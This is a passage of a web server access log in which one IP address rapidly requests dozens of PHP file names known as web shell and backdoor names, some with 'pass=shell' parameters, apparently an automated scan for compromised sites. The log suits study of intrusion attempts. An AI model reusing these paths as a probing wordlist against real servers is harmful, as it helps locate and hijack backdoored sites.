+0700] "GET /dropdown.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /db.php?u HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /docindex.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /e.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /eagle.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /exploit.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /evil.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /error.php?phpshells HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /fg.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /file.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /f.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /fierza.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /f0x.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /fm.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /foxx.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /fm1.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /flame.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:34 +0700] "GET /filemanager.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /fw.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /gel4y.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /gecko.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /fx.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /g.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /h.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /haxor.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /gelay.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /green.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /hello.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /i.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /idx.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /hi.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /id.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /if.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /images/inputs.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /init.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /info.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /index/function.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /indoxploit.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /install.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /jindex.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /j.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /iq.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /inputs.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /kk.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /k.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /js.php?get HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /kn.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:35 +0700] "GET /js.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /leaf.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /loader/ff.php?pass=shell HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /load.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /lf.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /l.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /lock.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /log.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /local.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /lock360.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /login.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /lv.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /m.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /lx.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /mad.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /mah.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /marijuana.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /mari.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /mail.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /mar.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /manager.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /min.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /MARIJUANA.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /mas.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /mini.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /mass.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /minishell.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /n.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /new.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /new-index.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /mrjn.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /nn.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /ok.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /NewFile.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /o.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /ninja.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /priv8.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /priv.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /p.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /pi.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:36 +0700] "GET /phpinfo.php?re@=vo@ HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /q.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /radio.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /r.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /qindex.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /r00t.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /radio.php?pass=shell HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /raw.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /root.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /readme.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /rss.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /send.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /s.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /shx.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /shl.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /seo.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /style.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /simple.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /Sym.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /sym.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /sym403.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /sys.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /t.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /symlink.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /test.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /tes.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /up.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /u.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /unknown.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 157.15.40.61 - - [19/Apr/2026:20:02:37 +0700] "GET /upfile.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 